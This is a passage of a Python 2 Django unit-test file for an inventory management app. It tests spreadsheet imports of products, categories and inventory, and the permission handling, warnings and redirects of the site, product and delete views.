productMessage)=ProductInformation.parse_product_information_from_xls( filename=filename, modifier='none', save=True) except UnicodeEncodeError as e: self.fail("Import of spreadsheet containing unicode caused UnicodeEncodeError: %s" % e) self.assertEqual(productMessage, '', ('Import of spreadsheet containing unicode generated warnings %s' % productMessage)) class ProductCategoryMethodTests(TestCase): """ ProductCategory class method ims_tests """ def test_parse_product_category_from_xls_initial(self): print 'running ProductInformationMethodTests.test_parse_product_category_from_xls_initial... ' filename=os.path.join(APP_DIR, 'testData/category_add_3.xls') (importedCategories, __)=ProductCategory.parse_product_categories_from_xls( filename=filename, modifier='none', save=True) self.assertNotEqual(importedCategories, None, 'Failure to import categories from Excel') queriedCategories=ProductCategory.objects.all() # check that we saved 3 sites self.assertEqual(queriedCategories.count(), 3, 'Number of imported categories mismatch. \ Some categories didn''t get stored.') def test_parse_product_category_from_xls_with_unicode(self): print 'running ProductInformationMethodTests.test_parse_product_category_from_xls_with_unicode... ' filename=os.path.join( APP_DIR, 'testData/category_add_3_unicode.xls') try: (__, categoryMessage)=ProductCategory.parse_product_categories_from_xls( filename=filename, modifier='none', save=True) except UnicodeEncodeError as e: self.fail("Import of spreadsheet containing unicode caused UnicodeEncodeError: %s" % e) self.assertEqual(categoryMessage, '', ('Import of spreadsheet containing unicode generated warnings %s' % categoryMessage)) class InventoryItemMethodTests(TestCase): """ InventoryItem class method ims_tests """ def test_parse_inventory_from_xls_initial(self): """ import 3 inventory items to 3 sites from Excel """ print 'running InventoryItemMethodTests.test_parse_inventory_from_xls_initial... ' for number in range(3): #create three sites siteName = 'test site %d' % (number + 1) siteNumber = number + 1 site=Site(name = siteName, number = siteNumber, modifier = 'none') site.save() for number in range(3): #create three products productName="test product %d" % (number+1) productCode="pdt%d" % (number+1) product=ProductInformation(name=productName, code=productCode, modifier='none') product.save() filename=os.path.join(APP_DIR, 'testData/sites_add_site1_site2_site3.xls') Site.parse_sites_from_xls(filename=filename, modifier='none', save=True) filename=os.path.join(APP_DIR, 'testData/products_add_prod1_prod2_prod3.xls') ProductInformation.parse_product_information_from_xls(filename=filename, modifier='none', save=True) filename=os.path.join( APP_DIR, 'testData/inventory_add_10_to_site1_site2_site3_prod1_prod2_prod3.xls') (importedInventoryItems, __)=InventoryItem.parse_inventory_from_xls( filename=filename, modifier='none', save=True) self.assertNotEqual(importedInventoryItems, None, 'Failure to import inventory from Excel') self.assertEqual(len(importedInventoryItems), 9, 'Failure to create one or more inventoryItems. Missing associated Site or ProductInformation?') queriedInventoryItems=InventoryItem.objects.all() # check that we saved 3 sites self.assertEqual(queriedInventoryItems.count(), 3*3, 'Total inventory mismatch. Some InventoryItems didn''t get stored.') # check that the inventory IDs are correctly stored sortedImportedInventoryItems=[] for item in importedInventoryItems: sortedImportedInventoryItems.append(item.create_key()) sortedImportedInventoryItems.sort() sortedQueriedInventoryItems=[] for item in queriedInventoryItems: sortedQueriedInventoryItems.append(item.create_key()) sortedQueriedInventoryItems.sort() self.assertListEqual(sortedImportedInventoryItems, sortedQueriedInventoryItems, 'Imported inventory doesn''t match stored inventory') def test_parse_inventory_from_xls_with_dups(self): """ import 3 inventory items to 3 sites from Excel """ print 'running InventoryItemMethodTests.test_parse_inventory_from_xls_initial... ' for number in range(3): #create three sites siteName = 'test site %d' % (number + 1) siteNumber = number + 1 site=Site(name = siteName, number = siteNumber, modifier = 'none') site.save() for number in range(3): #create three products productName="test product %d" % (number+1) productCode="pdt%d" % (number+1) product=ProductInformation(name=productName, code=productCode, modifier='none') product.save() filename=os.path.join( APP_DIR, 'testData/inventory_add_10_to_site1_site2_site3_prod1_prod2_prod3_dups.xls') (importedInventoryItems, __)=InventoryItem.parse_inventory_from_xls( filename=filename, modifier='none', save=True) self.assertNotEqual(importedInventoryItems, None, 'Failure to import inventory from Excel') queriedInventory=InventoryItem.objects.all() # check that we only saved 9 inventory items self.assertEqual( queriedInventory.count(), 10, 'You didn''t store all all the inventory items') def test_parse_inventory_from_xls_with_bad_header(self): """ import 3 inventory items to 3 sites from Excel file with a bad header """ print 'running InventoryItemMethodTests.test_parse_inventory_from_xls_with_bad_header... ' filename=os.path.join(APP_DIR, 'testData/products_add_prod1_prod2_prod3.xls') (__, inventoryMessage)=InventoryItem.parse_inventory_from_xls( filename=filename, modifier='none', save=True) self.assert_('Xlrdutils' in inventoryMessage, ('Failure to recognize a file with bad header format.\nInventoryItem.parse_inventory_from_xl returned: %s' % inventoryMessage)) def test_parse_inventory_from_xls_with_bad_date(self): """ import 3 inventory items to 3 sites from Excel file with a bad header """ print 'running InventoryItemMethodTests.test_parse_inventory_from_xls_with_bad_date... ' filename=os.path.join( APP_DIR, 'testData/inventory_add_10_to_site1_site2_site3_prod1_prod2_prod3_bad_date.xls') (__, inventoryMessage)=InventoryItem.parse_inventory_from_xls( filename=filename, modifier='none', save=True) self.assert_('Xlrdutils' in inventoryMessage, ('Failure to recognize a file with bad date format.\nInventoryItem.parse_inventory_from_xl returned: %s' % inventoryMessage)) @skip('No longer using IMS page view') class HomeViewTests(TestCase): """ ims_tests for Home view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_home_for_latest_changes_1(self): """ The home view should display sites with recently edited inventory with the latest changes at the top and latest inventory changes with the latest changes at the top as well """ print 'running HomeViewTests.test_home_for_latest_changes_1... ' self.client.login(username='testUser', password='12345678') (createdSites, __, createdInventoryItems, __)=create_products_with_inventory_items_for_sites( numSites=20, numProducts=5, numItems=1) response=self.client.get(reverse('ims:home')) sitesResponseList=[] itemsResponseList=[] for site in response.context['sitesList']: sitesResponseList.append(site.create_key()) for item in response.context['inventoryList']: # include the timestamp to ensure uniqueness when comparing itemsResponseList.append(item.create_key()) sortedCreatedSites=[] for site in createdSites: sortedCreatedSites.append(site.create_key()) # compare the latest changed sites only sortedCreatedSites.reverse() # just retain the latest inventory changes to compare to the response latestInventoryItems=OrderedDict() sortedCreatedInventoryItems=[] createdInventoryItems.reverse() for item in createdInventoryItems: if not latestInventoryItems.has_key(item.information): latestInventoryItems[item.information]=item for item in latestInventoryItems.values(): # include the timestamp to ensure uniqueness when comparing sortedCreatedInventoryItems.append(item.create_key()) self.assertListEqual(sitesResponseList, sortedCreatedSites[:PAGE_SIZE]) self.assertListEqual(itemsResponseList, sortedCreatedInventoryItems[:PAGE_SIZE]) def test_home_for_latest_changes_2(self): """ The home view should display sites with recently edited inventory with the latest changes at the top and latest inventory changes with the latest changes at the top as well """ print 'running HomeViewTests.test_home_for_latest_changes_2... ' self.client.login(username='testUser', password='12345678') (createdSites, __, createdInventoryItems, __)=create_products_with_inventory_items_for_sites( numSites=20, numProducts=5, numItems=1) response=self.client.get(reverse('ims:home')) sitesResponseList=[] itemsResponseList=[] for site in response.context['sitesList']: sitesResponseList.append(site.create_key()) for item in response.context['inventoryList']: # include the timestamp to ensure uniqueness when comparing itemsResponseList.append(item.create_key()) sortedCreatedSites=[] for site in createdSites: sortedCreatedSites.append(site.create_key()) # compare the latest changed sites only sortedCreatedSites.reverse() # just retain the latest inventory changes to compare to the response latestInventoryItems=OrderedDict() sortedCreatedInventoryItems=[] createdInventoryItems.reverse() for item in createdInventoryItems: if not latestInventoryItems.has_key(item.information): latestInventoryItems[item.information]=item for item in latestInventoryItems.values(): # include the timestamp to ensure uniqueness when comparing sortedCreatedInventoryItems.append(item.create_key()) self.assertListEqual(sitesResponseList, sortedCreatedSites[:PAGE_SIZE]) self.assertListEqual(itemsResponseList, sortedCreatedInventoryItems[:PAGE_SIZE]) def test_home_for_no_inventory(self): """ If there is no inventory, ims:home should display nothing """ print 'running HomeViewTests.test_home_for_no_inventory... ' self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:home')) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No inventory found', resultWarning, 'IMS Home view didn''t generate the correct warning when there is no inventory.\nactual warning message = %s' % resultWarning) class InventoryHistoryViewTests(TestCase): """ ims_tests for inventory_history view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_inventory_history_with_invalid_site(self): print 'running InventoryHistoryViewTests.test_inventory_history_with_invalid_site... ' self.client.login(username='testUser', password='12345678') siteId = 1 code="D11" response=self.client.get(reverse('ims:inventory_history', kwargs = {'siteId':siteId, 'code':code,}), follow=True) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('Unable to check inventory history.<br />Site %d does not exist' % siteId, resultError, 'IMS inventory_history view didn''t generate the correct warning when an invalid site was requested.\nactual message = %s' % resultError) def test_inventory_history_with_invalid_code(self): print 'running InventoryHistoryViewTests.test_inventory_history_with_invalid_code... ' self.client.login(username='testUser', password='12345678') siteId = 1 code="D11" site=Site(number = siteId) site.save() response=self.client.get(reverse('ims:inventory_history', kwargs = {'siteId':siteId, 'code':code,}), follow=True) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('Unable to check inventory history.<br />Item %s does not exist' % code, resultError, 'IMS inventory_history view didn''t generate the correct warning when an invalid code was requested.\nactual message = %s' % resultError) def test_inventory_history_with_valid_history(self): print 'running InventoryHistoryViewTests.test_inventory_history_with_valid_history... ' self.client.login(username='testUser', password='12345678') # create initial inventory item site, product, __ = create_inventory_item_for_site(quantity=1) # change it to create a history site, product, __ = create_inventory_item_for_site( site = site, product = product, quantity=2) response=self.client.get(reverse('ims:inventory_history', kwargs = {'siteId':site.number, 'code':product.code,}), follow=True) self.assertEqual(response.status_code, 200, 'Inventory History generated a non-200 response code') resultError = get_announcement_from_response(response=response, cls="errornote") self.assertEqual(resultError, '', 'IMS inventory_history view generated an error with a valid request.\nactual message = %s' % resultError) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertEqual(resultWarning, '', 'IMS inventory_history view generated a warning with a valid request.\nactual message = %s' % resultWarning) resultInfo = get_announcement_from_response(response=response, cls="infonote") self.assertEqual(resultInfo, '', 'IMS inventory_history view generated info with a valid request.\nactual message = %s' % resultInfo) class SitesViewTests(TestCase): """ ims_tests for sites view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_sites_get_with_no_sites(self): print 'running SitesViewTests.test_sites_get_with_no_sites... ' self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:sites'), follow=True) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No sites found', 'IMS sites view didn''t generate the correct warning when no sites were found.\nactual message = %s' % resultWarning) def test_sites_get_with_filter_and_no_sites(self): print 'running SitesViewTests.test_products_get_with_filter_and_no_products... ' self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:sites',) + '?searchField=name&searchValue=blah', follow = False,) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No sites found', 'IMS sites view didn''t generate the correct warning when no sites were found.\nactual message = %s' % resultWarning) def test_sites_get_with_sites(self): print 'running SitesViewTests.test_sites_get_with_sites... ' self.client.login(username='testUser', password='12345678') site = Site(name='test site',) site.save() response=self.client.get(reverse('ims:sites',), follow = False,) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertEqual('', resultWarning) def test_sites_get_with_filter(self): print 'running SitesViewTests.test_sites_get_with_filter... ' self.client.login(username='testUser', password='12345678') site = Site(name='test site',) site.save() response=self.client.get(reverse('ims:sites',) + '?searchField=name&searchValue=test', follow = False,) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertEqual('', resultWarning) def test_sites_get_with_bad_filter(self): print 'running SitesViewTests.test_sites_get_with_bad_filter... ' self.client.login(username='testUser', password='12345678') site = Site(name='test site',) site.save() response=self.client.get(reverse('ims:sites',) + '?searchField=name&searchValue=blah', follow = False,) self.assertRedirects(response, reverse('ims:sites',) + '?page=1&pageSize=%d' % PAGE_SIZE, status_code = 302, target_status_code = 200) def test_sites_post_add(self): print 'running SitesViewTests.test_sites_post_add... ' perms = ['add_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') response=self.client.post(reverse('ims:sites'), {'Add':''}, follow=False) self.assertRedirects(response, reverse('ims:site_add'), status_code = 302, target_status_code = 200) def test_sites_post_add_without_add_site_perm(self): print 'running SitesViewTests.test_sites_post_add_without_add_site_perm... ' self.client.login(username='testUser', password='12345678') postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['0'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['0'], 'Add':'Add',} response=self.client.post(reverse('ims:sites',), postData, follow = False,) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to add sites', resultError, 'IMS sites view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) def test_sites_post_delete(self): print 'running SitesViewTests.test_sites_post_delete... ' perms = ['delete_site', 'delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-Delete': ['on'], 'form-0-number': [site.number], 'Delete': ['Delete']} response=self.client.post(reverse('ims:sites'), postData, follow=False) self.assertRedirects(response, (reverse('ims:site_delete') + '?site=' + str(site.number) + '&'), status_code = 302, target_status_code = 200) def test_sites_post_delete_without_delete_site_perms(self): print 'running SitesViewTests.test_sites_post_delete... ' perms = [ 'delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': ['1'], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'form-0-Delete': ['on'], 'form-0-number': [site.number], 'Delete': ['Delete']} response=self.client.post(reverse('ims:sites'), postData, follow=False) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete sites', resultError, 'IMS sites view didn''t generate the correct error when an unauthorized user tried to add.\nactual message = %s' % resultError) class ProductDeleteViewTests(TestCase): """ ims_tests for product_delete view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_product_delete_get_with_no_get_parms(self): print 'running ProductDeleteViewTests.test_product_delete_get_with_no_get_parms... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:product_delete'), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No products requested for deletion', resultWarning, 'IMS product_delete view didn''t generate the correct warning when no sites requested found.\nactual message = %s' % resultWarning) def test_product_delete_get(self): print 'running ProductDeleteViewTests.test_product_delete_get... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() response=self.client.get(reverse('ims:product_delete') + '?' + urlencode({'code':code}), follow = False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('Are you sure?', resultWarning, 'IMS product_delete view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_product_delete_get_with_inventory(self): print 'running ProductDeleteViewTests.test_product_delete_get_with_inventory... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') (__, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) response=self.client.get(reverse('ims:product_delete') + '?' + urlencode({'code':createdProducts[0].pk}), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('One or more products contain inventory. Deleting the products will delete all inventory in all sites containing this product as well. Delete anyway?', resultWarning, 'IMS product_delete view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_product_delete_get_after_deleting_inventory_from_site(self): print 'running ProductDeleteViewTests.test_product_delete_get_after_deleting_inventory_from_site... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) product = createdProducts[0] site =createdSites[0] site.add_inventory(product=product, deleted=True, modifier='testUesr',) response=self.client.get(reverse('ims:product_delete') + '?' + urlencode({'code':createdProducts[0].pk}), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('Are you sure?', resultWarning, 'IMS product_delete view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_product_delete_get_without_delete_productinformation_perm(self): print 'running ProductDeleteViewTests.test_product_delete_get_without_delete_productinformation_perm... ' perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() response=self.client.get(reverse('ims:product_delete') + '?' + urlencode({'code':code}), follow = False) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS product_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_product_delete_get_without_delete_inventoryitem_perm(self): print 'running ProductDeleteViewTests.test_product_delete_get_without_delete_inventoryitem_perm... ' perms = ['delete_productinformation',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() response=self.client.get(reverse('ims:product_delete') + '?' + urlencode({'code':code}), follow = False) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS product_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_product_delete_post_with_no_post_parms(self): print 'running ProductDeleteViewTests.test_product_delete_post_with_no_post_parms... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Delete':'Delete'} request = self.factory.post(reverse('ims:product_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = product_delete(request) response.client = self.client resultError = request.session['errorMessage'] self.assertIn('No products requested for deletion', resultError, 'IMS product_delete view didn''t generate the correct warning when no products requested found.\nactual message = %s' % resultError) self.assertRedirects(response, reverse('ims:products') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) def test_product_delete_post(self): print 'running ProductDeleteViewTests.test_product_delete_post... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() postData = {'Delete':'Delete', 'products':[product.code,]} request = self.factory.post(reverse('ims:product_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = product_delete(request) response.client = self.client resultInfo = request.session['infoMessage'] self.assertIn(('Successfully deleted product and associated inventory for product code %s with name "%s"<br/>' % (product.meaningful_code(), product.name)), resultInfo, 'IMS product_delete view didn''t generate the correct info when product deleted.\nactual message = %s' % resultInfo) self.assertRedirects(response, reverse('ims:products') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) self.assertEqual(ProductInformation.objects.all().count(), 0, 'Product still in database after deleting.') def test_product_delete_post_with_inventory(self): print 'running ProductDeleteViewTests.test_product_delete_post_with_inventory... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') (__, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) postData = {'Delete':'Delete', 'products':[createdProducts[0].code,]} request = self.factory.post(reverse('ims:product_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = product_delete(request) response.client = self.client resultInfo = request.session['infoMessage'] self.assertIn(('Successfully deleted product and associated inventory for product code %s with name "%s"<br/>' % (createdProducts[0].meaningful_code(), createdProducts[0].name)), resultInfo, 'IMS product_delete view didn''t generate the correct info when product deleted.\nactual message = %s' % resultInfo) self.assertRedirects(response, reverse('ims:products') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) self.assertEqual(ProductInformation.objects.all().count(), 0, 'Product still in database after deleting.') def test_product_delete_post_without_delete_productinformation_perm(self): print 'running ProductDeleteViewTests.test_product_delete_post_without_delete_productinformation_perm... ' perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() postData = {'Delete':'Delete', 'products':[product.code,]} response = self.client.post(reverse('ims:product_delete'), postData, follow = False) self.assertEqual(response.status_code,200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS product_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_product_delete_post_without_delete_inventoryitem_perm(self): print 'running ProductDeleteViewTests.test_product_delete_post_without_delete_inventoryitem_perm... ' perms = ['delete_productinformation',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() postData = {'Delete':'Delete', 'products':[product.code,]} response = self.client.post(reverse('ims:product_delete'), postData, follow = False) self.assertEqual(response.status_code,200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete products', resultError, 'IMS product_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_product_delete_post_cancel(self): print 'running ProductDeleteViewTests.test_product_delete_post_cancel... ' perms = [ 'delete_productinformation', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' product = ProductInformation(name = 'test product', code = code) product.save() postData = {'Cancel':'Cancel', 'products':[code,]} response = self.client.post(reverse('ims:product_delete'), postData, follow = False) self.assertRedirects(response, reverse('ims:products') + '?' + urlencode({'page':1, 'pageSize':1,}), status_code = 302, target_status_code = 200) class SiteDeleteViewTests(TestCase): """ ims_tests for site_delete view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_site_delete_get_with_no_get_parms(self): print 'running SiteDeleteViewTests.test_site_delete_get_with_no_get_parms... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') response=self.client.get(reverse('ims:site_delete'), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('No sites requested for deletion', resultWarning, 'IMS site_delete view didn''t generate the correct warning when no sites requested found.\nactual message = %s' % resultWarning) def test_site_delete_get(self): print 'running SiteDeleteViewTests.test_site_delete_get... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() response=self.client.get(reverse('ims:site_delete') + '?' + urlencode({'site':site.pk}), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('Are you sure?', resultWarning, 'IMS site_delete view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_delete_get_with_inventory(self): print 'running SiteDeleteViewTests.test_site_delete_get_with_inventory... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) response=self.client.get(reverse('ims:site_delete') + '?' + urlencode({'site':createdSites[0].pk}), follow = False) self.assertEquals(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('One or more sites contain inventory. Deleting the sites will delete all inventory as well. Delete anyway?', resultWarning, 'IMS site_delete view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_site_delete_get_without_delete_site_perm(self): print 'running SiteDeleteViewTests.test_site_delete_get_without_delete_site_perm... ' perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() response=self.client.get(reverse('ims:site_delete') + '?' + urlencode({'site':site.pk}), follow = False) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete sites', resultError, 'IMS site_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_delete_get_without_delete_inventoryitem_perm(self): print 'running SiteDeleteViewTests.test_site_delete_get_without_delete_inventoryitem_perm... ' perms = ['delete_site',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() response=self.client.get(reverse('ims:site_delete') + '?' + urlencode({'site':site.pk}), follow = False) self.assertEquals(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete sites', resultError, 'IMS site_delete view didn''t generate the correct error.\nactual message = %s' % resultError) def test_site_delete_post_with_no_post_parms(self): print 'running SiteDeleteViewTests.test_site_delete_post_with_no_post_parms... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Delete':'Delete'} request = self.factory.post(reverse('ims:site_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = site_delete(request) response.client = self.client resultError = request.session['errorMessage'] self.assertIn('No sites requested for deletion', resultError, 'IMS site_delete view didn''t generate the correct warning when no sites requested found.\nactual message = %s' % resultError) self.assertRedirects(response, reverse('ims:sites') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) def test_site_delete_post(self): print 'running SiteDeleteViewTests.test_site_delete_post... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'Delete':'Delete', 'sites':[site.number,]} request = self.factory.post(reverse('ims:site_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = site_delete(request) response.client = self.client resultInfo = request.session['infoMessage'] self.assertIn('Successfully deleted site %s<br />' % site.name, resultInfo, 'IMS site_delete view didn''t generate the correct info site deleted.\nactual message = %s' % resultInfo) self.assertRedirects(response, reverse('ims:sites') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) self.assertEqual(Site.objects.all().count(), 0, 'Site still in database after deleting.') def test_site_delete_post_with_inventory(self): print 'running SiteDeleteViewTests.test_site_delete_post_with_inventory... ' perms = [ 'delete_site', 'delete_inventoryitem'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') (createdSites, __, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=3) postData = {'Delete':'Delete', 'sites':[createdSites[0].number,]} request = self.factory.post(reverse('ims:site_delete'), postData, follow = False) request.user = self.user add_session_to_request(request) response = site_delete(request) response.client = self.client resultInfo = request.session['infoMessage'] self.assertIn('Successfully deleted site %s<br />' % createdSites[0].name, resultInfo, 'IMS site_delete view didn''t generate the correct info site deleted.\nactual message = %s' % resultInfo) self.assertRedirects(response, reverse('ims:sites') + '?' + urlencode({'page':1, 'pageSize':PAGE_SIZE,}), status_code = 302, target_status_code = 200) self.assertEqual(Site.objects.all().count(), 0, 'Site still in database after deleting.') self.assertEqual(InventoryItem.objects.all().count(), 0, 'Inventory still in database after deleting.') def test_site_delete_post_without_delete_site_perm(self): print 'running SiteDeleteViewTests.test_site_delete_post_without_delete_site_perm... ' perms = ['delete_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'Delete':'Delete', 'sites':[site.number,]} response = self.client.post(reverse('ims:site_delete'), postData, follow = False) self.assertEqual(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to delete sites', resultError, 'IMS site_delete view didn''t generate the correct error with incorrect user permissions.\nactual message = %s' % resultError) def test_site_delete_post_without_delete_inventoryitem_perm(self): print 'running SiteDeleteViewTests.test_site_delete_post_without_delete_inventoryitem_perm... ' perms = ['delete_site',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() postData = {'Delete':'Delete', 'sites':[site.number,]} response = 